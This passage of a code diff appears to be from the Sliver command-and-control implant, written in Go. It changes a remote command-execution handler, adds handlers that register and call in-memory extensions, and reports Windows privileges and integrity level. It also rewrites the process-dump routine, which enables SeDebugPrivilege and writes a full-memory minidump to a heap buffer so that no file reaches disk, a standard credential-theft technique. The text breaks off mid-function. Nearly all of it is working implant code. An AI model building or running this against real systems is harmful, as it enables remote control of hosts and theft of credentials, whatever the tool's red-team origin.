|
||||
}
|
||||
@@ -19,12 +19,13 @@ const (
|
||||
)
|
||||
|
||||
type WindowsExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
module *memmod.Module
|
||||
arch string
|
||||
init string
|
||||
onFinish func([]byte)
|
||||
id string
|
||||
data []byte
|
||||
module *memmod.Module
|
||||
arch string
|
||||
init string
|
||||
onFinish func([]byte)
|
||||
serverStore bool
|
||||
}
|
||||
|
||||
func NewWindowsExtension(data []byte, id string, arch string, init string) *WindowsExtension {
|
||||
@@ -105,7 +106,7 @@ func (w *WindowsExtension) extensionCallback(data uintptr, dataLen uintptr) uint
|
||||
b := (*byte)(unsafe.Pointer(uintptr(i) + data))
|
||||
outBuff.WriteByte(*b)
|
||||
}
|
||||
//TODO: do somethig with outBuff
|
||||
//TODO: do something with outBuff
|
||||
if outBuff.Len() > 0 {
|
||||
w.onFinish(outBuff.Bytes())
|
||||
}
|
||||
|
||||
@@ -20,6 +20,7 @@ package handlers
|
||||
|
||||
import (
|
||||
"archive/tar"
|
||||
"bufio"
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"errors"
|
||||
@@ -28,6 +29,7 @@ import (
|
||||
"io/ioutil"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -97,7 +99,8 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
dir, files, err := getDirList(dirListReq.Path)
|
||||
|
||||
// Convert directory listing to protobuf
|
||||
dirList := &sliverpb.Ls{Path: dir}
|
||||
timezone, offset := time.Now().Zone()
|
||||
dirList := &sliverpb.Ls{Path: dir, Timezone: timezone, TimezoneOffset: int32(offset)}
|
||||
if err == nil {
|
||||
dirList.Exists = true
|
||||
} else {
|
||||
@@ -109,6 +112,13 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
Name: fileInfo.Name(),
|
||||
IsDir: fileInfo.IsDir(),
|
||||
Size: fileInfo.Size(),
|
||||
/* Send the time back to the client / server as the number of seconds
|
||||
since epoch. This will decouple formatting the time to display from the
|
||||
time itself. We can change the format of the time displayed in the client
|
||||
and not have to worry about having to update implants.
|
||||
*/
|
||||
ModTime: fileInfo.ModTime().Unix(),
|
||||
Mode: fileInfo.Mode().String(),
|
||||
})
|
||||
}
|
||||
|
||||
@@ -118,7 +128,13 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
func getDirList(target string) (string, []os.FileInfo, error) {
|
||||
dir, _ := filepath.Abs(target)
|
||||
dir, err := filepath.Abs(target)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("dir list failed to construct path %s", err)
|
||||
// {{end}}
|
||||
return "", nil, err
|
||||
}
|
||||
if _, err := os.Stat(dir); !os.IsNotExist(err) {
|
||||
files, err := ioutil.ReadDir(dir)
|
||||
return dir, files, err
|
||||
@@ -131,7 +147,7 @@ func rmHandler(data []byte, resp RPCResponse) {
|
||||
err := proto.Unmarshal(data, rmReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
log.Printf("error decoding message: %s", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
@@ -353,7 +369,11 @@ func uploadHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
func executeHandler(data []byte, resp RPCResponse) {
|
||||
var (
|
||||
err error
|
||||
err error
|
||||
stdErr io.Writer
|
||||
stdOut io.Writer
|
||||
errWriter *bufio.Writer
|
||||
outWriter *bufio.Writer
|
||||
)
|
||||
execReq := &sliverpb.ExecuteReq{}
|
||||
err = proto.Unmarshal(data, execReq)
|
||||
@@ -368,9 +388,43 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
cmd := exec.Command(execReq.Path, execReq.Args...)
|
||||
|
||||
if execReq.Output {
|
||||
res, err := cmd.CombinedOutput()
|
||||
stdOutBuff := new(bytes.Buffer)
|
||||
stdErrBuff := new(bytes.Buffer)
|
||||
stdErr = stdErrBuff
|
||||
stdOut = stdOutBuff
|
||||
if execReq.Stderr != "" {
|
||||
stdErrFile, err := os.Create(execReq.Stderr)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
defer stdErrFile.Close()
|
||||
errWriter = bufio.NewWriter(stdErrFile)
|
||||
stdErr = io.MultiWriter(errWriter, stdErrBuff)
|
||||
}
|
||||
if execReq.Stdout != "" {
|
||||
stdOutFile, err := os.Create(execReq.Stdout)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
defer stdOutFile.Close()
|
||||
outWriter = bufio.NewWriter(stdOutFile)
|
||||
stdOut = io.MultiWriter(outWriter, stdOutBuff)
|
||||
}
|
||||
cmd.Stdout = stdOut
|
||||
cmd.Stderr = stdErr
|
||||
err := cmd.Run()
|
||||
//{{if .Config.Debug}}
|
||||
log.Println(string(res))
|
||||
log.Println(string(stdOutBuff.String()))
|
||||
//{{end}}
|
||||
if err != nil {
|
||||
// Exit errors are not a failure of the RPC, but of the command.
|
||||
@@ -382,7 +436,17 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
}
|
||||
}
|
||||
execResp.Result = string(res)
|
||||
if errWriter != nil {
|
||||
errWriter.Flush()
|
||||
}
|
||||
if outWriter != nil {
|
||||
outWriter.Flush()
|
||||
}
|
||||
execResp.Stderr = stdErrBuff.String()
|
||||
execResp.Stdout = stdOutBuff.String()
|
||||
if cmd.Process != nil {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
}
|
||||
} else {
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
|
||||
@@ -19,8 +19,11 @@ package handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -50,6 +53,11 @@ var (
|
||||
sliverpb.MsgPollIntervalReq: pollIntervalHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
|
||||
// Extensions
|
||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
sliverpb.MsgCallExtensionReq: callExtensionHandler,
|
||||
sliverpb.MsgListExtensionsReq: listExtensionsHandler,
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// Wireguard specific
|
||||
sliverpb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
|
||||
@@ -73,3 +81,70 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
func GetSystemPivotHandlers() map[uint32]PivotHandler {
|
||||
return darwinPivotHandlers
|
||||
}
|
||||
|
||||
// Extensions
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
registerReq := &sliverpb.RegisterExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, registerReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
ext := extension.NewDarwinExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
|
||||
extension.Add(ext)
|
||||
err = ext.Load()
|
||||
registerResp := &sliverpb.RegisterExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
if err != nil {
|
||||
registerResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(registerResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
callReq := &sliverpb.CallExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, callReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
callResp := &sliverpb.CallExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
gotOutput := false
|
||||
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
|
||||
gotOutput = true
|
||||
callResp.Output = out
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
})
|
||||
// Only send back synchronously if there was an error
|
||||
if err != nil || !gotOutput {
|
||||
if err != nil {
|
||||
callResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
}
|
||||
}
|
||||
|
||||
func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
lstReq := &sliverpb.ListExtensionsReq{}
|
||||
err := proto.Unmarshal(data, lstReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
exts := extension.List()
|
||||
lstResp := &sliverpb.ListExtensions{
|
||||
Response: &commonpb.Response{},
|
||||
Names: exts,
|
||||
}
|
||||
data, err = proto.Marshal(lstResp)
|
||||
resp(data, err)
|
||||
}
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
// +build !windows !linux !darwin
|
||||
//go:build !(linux || darwin || windows)
|
||||
|
||||
package handlers
|
||||
|
||||
@@ -19,7 +19,11 @@ package handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -224,7 +228,11 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
func executeTokenHandler(data []byte, resp RPCResponse) {
|
||||
var (
|
||||
err error
|
||||
err error
|
||||
stdErr io.Writer
|
||||
stdOut io.Writer
|
||||
errWriter *bufio.Writer
|
||||
outWriter *bufio.Writer
|
||||
)
|
||||
execReq := &sliverpb.ExecuteReq{}
|
||||
err = proto.Unmarshal(data, execReq)
|
||||
@@ -244,9 +252,43 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
if execReq.Output {
|
||||
res, err := cmd.CombinedOutput()
|
||||
stdOutBuff := new(bytes.Buffer)
|
||||
stdErrBuff := new(bytes.Buffer)
|
||||
stdErr = stdErrBuff
|
||||
stdOut = stdOutBuff
|
||||
if execReq.Stderr != "" {
|
||||
stdErrFile, err := os.Create(execReq.Stderr)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
defer stdErrFile.Close()
|
||||
errWriter = bufio.NewWriter(stdErrFile)
|
||||
stdErr = io.MultiWriter(errWriter, stdErrBuff)
|
||||
}
|
||||
if execReq.Stdout != "" {
|
||||
stdOutFile, err := os.Create(execReq.Stdout)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
defer stdOutFile.Close()
|
||||
outWriter = bufio.NewWriter(stdOutFile)
|
||||
stdOut = io.MultiWriter(outWriter, stdOutBuff)
|
||||
}
|
||||
cmd.Stdout = stdOut
|
||||
cmd.Stderr = stdErr
|
||||
err := cmd.Run()
|
||||
//{{if .Config.Debug}}
|
||||
log.Println(string(res))
|
||||
log.Println(string(stdOutBuff.String()))
|
||||
//{{end}}
|
||||
if err != nil {
|
||||
// Exit errors are not a failure of the RPC, but of the command.
|
||||
@@ -258,7 +300,14 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
}
|
||||
}
|
||||
execResp.Result = string(res)
|
||||
if errWriter != nil {
|
||||
errWriter.Flush()
|
||||
}
|
||||
if outWriter != nil {
|
||||
outWriter.Flush()
|
||||
}
|
||||
execResp.Stderr = stdErrBuff.String()
|
||||
execResp.Stdout = stdOutBuff.String()
|
||||
} else {
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
@@ -549,7 +598,7 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
|
||||
return
|
||||
}
|
||||
|
||||
privsInfo, err := priv.GetPrivs()
|
||||
privsInfo, integrity, processName, err := priv.GetPrivs()
|
||||
|
||||
response_data := make([]*sliverpb.WindowsPrivilegeEntry, len(privsInfo))
|
||||
|
||||
@@ -573,8 +622,10 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
// Package up the response
|
||||
getPrivsResp := &sliverpb.GetPrivs{
|
||||
PrivInfo: response_data,
|
||||
Response: &commonpb.Response{},
|
||||
PrivInfo: response_data,
|
||||
ProcessIntegrity: integrity,
|
||||
ProcessName: processName,
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
@@ -619,14 +670,18 @@ func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
callResp := &sliverpb.CallExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
gotOutput := false
|
||||
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
|
||||
gotOutput = true
|
||||
callResp.Output = out
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
})
|
||||
// Only send back synchronously if there was an error
|
||||
if err != nil {
|
||||
callResp.Response.Err = err.Error()
|
||||
if err != nil || !gotOutput {
|
||||
if err != nil {
|
||||
callResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
// +build windows linux darwin
|
||||
//go:build linux || darwin || windows
|
||||
|
||||
package handlers
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
// +build windows linux darwin
|
||||
//go:build linux || darwin || windows
|
||||
|
||||
package handlers
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
// +build !darwin !windows !linux
|
||||
//go:build !(linux || darwin || windows)
|
||||
|
||||
package hostuuid
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
// +build !windows !linux !darwin
|
||||
//go:build !(linux || darwin || windows)
|
||||
|
||||
package limits
|
||||
|
||||
@@ -42,7 +42,11 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
THREAD_ALL_ACCESS = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xffff
|
||||
THREAD_ALL_ACCESS = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xffff
|
||||
SECURITY_MANDATORY_LOW_RID = 0x00001000
|
||||
SECURITY_MANDATORY_MEDIUM_RID = 0x00002000
|
||||
SECURITY_MANDATORY_HIGH_RID = 0x00003000
|
||||
SECURITY_MANDATORY_SYSTEM_RID = 0x00004000
|
||||
)
|
||||
|
||||
type PrivilegeInfo struct {
|
||||
@@ -340,6 +344,60 @@ func GetSystem(data []byte, hostingProcess string) (err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func getProcessIntegrityLevel(processToken windows.Token) (string, error) {
|
||||
// A place to put the size of the token integrity information
|
||||
var tokenIntegrityBufferSize uint32
|
||||
|
||||
// Determine the integrity of the process
|
||||
windows.GetTokenInformation(processToken, windows.TokenIntegrityLevel, nil, 0, &tokenIntegrityBufferSize)
|
||||
|
||||
if tokenIntegrityBufferSize < 4 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("TokenIntegrityBuffer is too small (must be at least 4 bytes)")
|
||||
// {{end}}
|
||||
return "Unknown", nil
|
||||
}
|
||||
|
||||
tokenIntegrityBuffer := make([]byte, tokenIntegrityBufferSize)
|
||||
|
||||
err := windows.GetTokenInformation(processToken,
|
||||
windows.TokenIntegrityLevel,
|
||||
&tokenIntegrityBuffer[0],
|
||||
tokenIntegrityBufferSize,
|
||||
&tokenIntegrityBufferSize,
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Error in call to GetTokenInformation (integrity): ", err)
|
||||
// {{end}}
|
||||
return "", err
|
||||
}
|
||||
|
||||
/*
|
||||
When calling GetTokenInformation with a type of TokenIntegrityLevel, the structure we get back
|
||||
is a TOKEN_MANDATORY_LABEL (https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_mandatory_label)
|
||||
which has one SID_AND_ATTRIBUTES structure (https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-sid_and_attributes)
|
||||
|
||||
We need the last 4 bytes (uint32) from the structure because that contains the attributes. The attributes
|
||||
tell us what privilege level we are operating at.
|
||||
*/
|
||||
|
||||
var privilegeLevel uint32 = binary.LittleEndian.Uint32(tokenIntegrityBuffer[tokenIntegrityBufferSize-4:])
|
||||
|
||||
if privilegeLevel < SECURITY_MANDATORY_LOW_RID {
|
||||
return "Untrusted", nil
|
||||
} else if privilegeLevel < SECURITY_MANDATORY_MEDIUM_RID {
|
||||
return "Low", nil
|
||||
} else if privilegeLevel >= SECURITY_MANDATORY_MEDIUM_RID && privilegeLevel < SECURITY_MANDATORY_HIGH_RID {
|
||||
return "Medium", nil
|
||||
} else if privilegeLevel >= SECURITY_MANDATORY_HIGH_RID {
|
||||
return "High", nil
|
||||
}
|
||||
|
||||
return "Unknown", nil
|
||||
}
|
||||
|
||||
func lookupPrivilegeNameByLUID(luid uint64) (string, string, error) {
|
||||
/*
|
||||
We will need the LookupPrivilegeNameW and LookupPrivilegeDisplayNameW functions
|
||||
@@ -348,6 +406,8 @@ func lookupPrivilegeNameByLUID(luid uint64) (string, string, error) {
|
||||
|
||||
Defined these syscalls in implant/sliver/syscalls/syscalls_windows.go and generated them with
|
||||
mkwinsyscall, so we are good to go.
|
||||
|
||||
mkwinsyscall -output zsyscalls_windows.go syscalls_windows.go
|
||||
*/
|
||||
|
||||
// Allocate 256 wide unicode characters (uint16) for the both names (255 characters plus a null terminator)
|
||||
@@ -381,44 +441,73 @@ func lookupPrivilegeNameByLUID(luid uint64) (string, string, error) {
|
||||
return syscall.UTF16ToString(nameBuffer), syscall.UTF16ToString(displayNameBuffer), nil
|
||||
}
|
||||
|
||||
func GetPrivs() ([]PrivilegeInfo, error) {
|
||||
func GetPrivs() ([]PrivilegeInfo, string, string, error) {
|
||||
// A place to store the process token
|
||||
var tokenHandle syscall.Token
|
||||
var tokenHandle windows.Token
|
||||
|
||||
// Process integrity
|
||||
var integrity string
|
||||
|
||||
// The current process name
|
||||
var processName string
|
||||
|
||||
// A place to put the size of the token information
|
||||
var tokenInfoBufferSize uint32
|
||||
|
||||
// Get a handle for the current process
|
||||
currentProcHandle, err := syscall.GetCurrentProcess()
|
||||
currentProcHandle, err := windows.GetCurrentProcess()
|
||||
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Could not get a handle for the current process: ", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
return nil, integrity, processName, err
|
||||
}
|
||||
|
||||
// Get the PID for the current process
|
||||
sessionPID, err := windows.GetProcessId(currentProcHandle)
|
||||
|
||||
// This error is not fatal. Worst case, we can display the PID from the registered session
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Could not get PID for current process: ", err)
|
||||
// {{end}}
|
||||
} else {
|
||||
// Get process info for the current PID
|
||||
processInformation, err := ps.FindProcess(int(sessionPID))
|
||||
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Could not get process information for PID %d: %v\n", sessionPID, err)
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
if processInformation != nil {
|
||||
processName = processInformation.Executable()
|
||||
}
|
||||
}
|
||||
|
||||
// Get the process token from the current process
|
||||
err = syscall.OpenProcessToken(currentProcHandle, syscall.TOKEN_QUERY, &tokenHandle)
|
||||
err = windows.OpenProcessToken(currentProcHandle, windows.TOKEN_QUERY, &tokenHandle)
|
||||
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Could not open process token: ", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
return nil, integrity, processName, err
|
||||
}
|
||||
|
||||
// Get the size of the token information buffer so we know how large of a buffer to allocate
|
||||
// This produces an error about a data area passed to the syscall being too small, but
|
||||
// we do not care about that because we just want to know how big of a buffer to make
|
||||
syscall.GetTokenInformation(tokenHandle, syscall.TokenPrivileges, nil, 0, &tokenInfoBufferSize)
|
||||
windows.GetTokenInformation(tokenHandle, windows.TokenPrivileges, nil, 0, &tokenInfoBufferSize)
|
||||
|
||||
// Make the buffer and get token information
|
||||
// Using a bytes Buffer so that we can Read from it later
|
||||
tokenInfoBuffer := bytes.NewBuffer(make([]byte, tokenInfoBufferSize))
|
||||
|
||||
err = syscall.GetTokenInformation(tokenHandle,
|
||||
syscall.TokenPrivileges,
|
||||
err = windows.GetTokenInformation(tokenHandle,
|
||||
windows.TokenPrivileges,
|
||||
&tokenInfoBuffer.Bytes()[0],
|
||||
uint32(tokenInfoBuffer.Len()),
|
||||
&tokenInfoBufferSize,
|
||||
@@ -426,9 +515,9 @@ func GetPrivs() ([]PrivilegeInfo, error) {
|
||||
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Error in call to GetTokenInformation: ", err)
|
||||
log.Println("Error in call to GetTokenInformation (privileges): ", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
return nil, integrity, processName, err
|
||||
}
|
||||
|
||||
// The first 32 bits is the number of privileges in the structure
|
||||
@@ -439,7 +528,7 @@ func GetPrivs() ([]PrivilegeInfo, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Could not read the number of privileges from the token information.")
|
||||
// {{end}}
|
||||
return nil, err
|
||||
return nil, integrity, processName, err
|
||||
}
|
||||
|
||||
/*
|
||||
@@ -468,7 +557,7 @@ func GetPrivs() ([]PrivilegeInfo, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Could not read the LUID from the binary stream: ", err)
|
||||
// {{end}}
|
||||
return privInfo, err
|
||||
return privInfo, integrity, processName, err
|
||||
}
|
||||
|
||||
// Read the attributes
|
||||
@@ -477,7 +566,7 @@ func GetPrivs() ([]PrivilegeInfo, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Could not read the attributes from the binary stream: ", err)
|
||||
// {{end}}
|
||||
return privInfo, err
|
||||
return privInfo, integrity, processName, err
|
||||
}
|
||||
|
||||
currentPrivInfo.Name, currentPrivInfo.Description, err = lookupPrivilegeNameByLUID(luid)
|
||||
@@ -485,7 +574,7 @@ func GetPrivs() ([]PrivilegeInfo, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Could not get privilege info based on the LUID: ", err)
|
||||
// {{end}}
|
||||
return privInfo, err
|
||||
return privInfo, integrity, processName, err
|
||||
}
|
||||
|
||||
// Figure out the attributes
|
||||
@@ -497,5 +586,12 @@ func GetPrivs() ([]PrivilegeInfo, error) {
|
||||
privInfo[index] = currentPrivInfo
|
||||
}
|
||||
|
||||
return privInfo, nil
|
||||
// Get the process integrity before we leave
|
||||
integrity, err = getProcessIntegrityLevel(tokenHandle)
|
||||
|
||||
if err != nil {
|
||||
return privInfo, "Could not determine integrity level", processName, err
|
||||
}
|
||||
|
||||
return privInfo, integrity, processName, nil
|
||||
}
|
||||
@@ -20,8 +20,6 @@ package procdump
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
"log"
|
||||
//{{end}}
|
||||
@@ -31,17 +29,56 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/evasion"
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
"os"
|
||||
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"github.com/bishopfox/sliver/implant/sliver/syscalls"
|
||||
"golang.org/x/sys/windows"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const (
|
||||
ModuleCallback = iota
|
||||
ThreadCallback
|
||||
ThreadExCallback
|
||||
IncludeThreadCallback
|
||||
IncludeModuleCallback
|
||||
MemoryCallback
|
||||
CancelCallback
|
||||
WriteKernelMinidumpCallback
|
||||
KernelMinidumpStatusCallback
|
||||
RemoveMemoryCallback
|
||||
IncludeVmRegionCallback
|
||||
IoStartCallback
|
||||
IoWriteAllCallback
|
||||
IoFinishCallback
|
||||
ReadMemoryFailureCallback
|
||||
SecondaryFlagsCallback
|
||||
IsProcessSnapshotCallback
|
||||
VmStartCallback
|
||||
VmQueryCallback
|
||||
VmPreReadCallback
|
||||
VmPostReadCallback
|
||||
|
||||
S_FALSE = 1
|
||||
S_OK = 0
|
||||
TRUE = 1
|
||||
FALSE = 0
|
||||
IncrementSize = 5 * 1024 * 1024
|
||||
MiniDumpWithFullMemory = 0x00000002
|
||||
)
|
||||
|
||||
var bytesRead uint32 = 0
|
||||
|
||||
type WindowsDump struct {
|
||||
data []byte
|
||||
}
|
||||
|
||||
type outDump struct {
|
||||
outPtr uintptr
|
||||
}
|
||||
|
||||
func (d *WindowsDump) Data() []byte {
|
||||
return d.data
|
||||
}
|
||||
@@ -50,7 +87,7 @@ func dumpProcess(pid int32) (ProcessDump, error) {
|
||||
var lpTargetHandle windows.Handle
|
||||
res := &WindowsDump{}
|
||||
if err := priv.SePrivEnable("SeDebugPrivilege"); err != nil {
|
||||
return res, fmt.Errorf("Could not set SeDebugPrivilege on", pid)
|
||||
return res, err
|
||||
}
|
||||
|
||||
hProc, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, false, uint32(pid))
|
||||
@@ -68,9 +105,7 @@ func dumpProcess(pid int32) (ProcessDump, error) {
|
||||
// {{end}}
|
||||
return res, err
|
||||
}
|
||||
if err != nil {
|
||||
return res, err
|
||||
}
|
||||
|
||||
if hProc != 0 {
|
||||
return minidump(uint32(pid), lpTargetHandle)
|
||||
}
|
||||
@@ -91,35 +126,188 @@ func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
|
||||
}
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
// TODO: find a better place to store the dump file
|
||||
f, err := ioutil.TempFile("", "")
|
||||
|
||||
heapHandle, err := syscalls.GetProcessHeap()
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("Failed to create temp file:", err)
|
||||
//{{end}}
|
||||
return dump, err
|
||||
}
|
||||
|
||||
procMemCounters := syscalls.ProcessMemoryCounters{}
|
||||
sizeOfMemCounters := uint32(unsafe.Sizeof(procMemCounters))
|
||||
err = syscalls.GetProcessMemoryInfo(proc, &procMemCounters, sizeOfMemCounters)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("GetProcessMemoryInfo failed: %s\n", err)
|
||||
// {{end}}
|
||||
return dump, err
|
||||
}
|
||||
|
||||
heapSize := procMemCounters.WorkingSetSize + IncrementSize
|
||||
|
||||
dumpBuffer, err := syscalls.HeapAlloc(heapHandle, 0x00000008, uintptr(heapSize))
|
||||
if err != nil {
|
||||
return dump, err
|
||||
}
|
||||
stdOutHandle := f.Fd()
|
||||
err = syscalls.MiniDumpWriteDump(proc, pid, stdOutHandle, 3, 0, 0, 0)
|
||||
if err == nil {
|
||||
data, err := ioutil.ReadFile(f.Name())
|
||||
dump.data = data
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("ReadFile failed:", err)
|
||||
//{{end}}
|
||||
return dump, err
|
||||
}
|
||||
os.Remove(f.Name())
|
||||
} else {
|
||||
|
||||
outData := outDump{
|
||||
outPtr: dumpBuffer,
|
||||
}
|
||||
|
||||
callbackInfo := MiniDumpCallbackInformation{
|
||||
CallbackRoutine: windows.NewCallback(minidumpCallback),
|
||||
CallbackParam: uintptr(unsafe.Pointer(&outData)),
|
||||
}
|
||||
|
||||
err = syscalls.MiniDumpWriteDump(
|
||||
proc,
|
||||
pid,
|
||||
0,
|
||||
MiniDumpWithFullMemory,
|
||||
0,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&callbackInfo)),
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("Minidump syscall failed:", err)
|
||||
//{{end}}
|
||||
return dump, err
|
||||
}
|
||||
outBuff := make([]byte, bytesRead)
|
||||
outBuffAddr := uintptr(unsafe.Pointer(&outBuff[0]))
|
||||
syscalls.RtlCopyMemory(outBuffAddr, outData.outPtr, bytesRead)
|
||||
err = syscalls.HeapFree(heapHandle, 0, outData.outPtr)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("HeapFree failed: \n", err)
|
||||
// {{end}}
|
||||
return dump, err
|
||||
}
|
||||
dump.data = outBuff
|
||||
return dump, nil
|
||||
}
|
||||
|
||||
type MiniDumpIOCallback struct {
|
||||
Handle uintptr
|
||||
Offset uint64
|
||||
Buffer uintptr
|
||||
BufferBytes uint32
|
||||
}
|
||||
|
||||
type MiniDumpCallbackInput struct {
|
||||
ProcessId uint32
|
||||
ProcessHandle uintptr
|
||||
CallbackType uint32
|
||||
Io MiniDumpIOCallback
|
||||
}
|
||||
|
||||
type MiniDumpCallbackOutput struct {
|
||||
Status int32
|
||||
}
|
||||
|
||||
type MiniDumpCallbackInformation struct {
|
||||
CallbackRoutine uintptr
|
||||
CallbackParam uintptr
|
||||
}
|
||||
|
||||
func getCallbackInput(callbackInputPtr uintptr) (*MiniDumpCallbackInput, error) {
|
||||
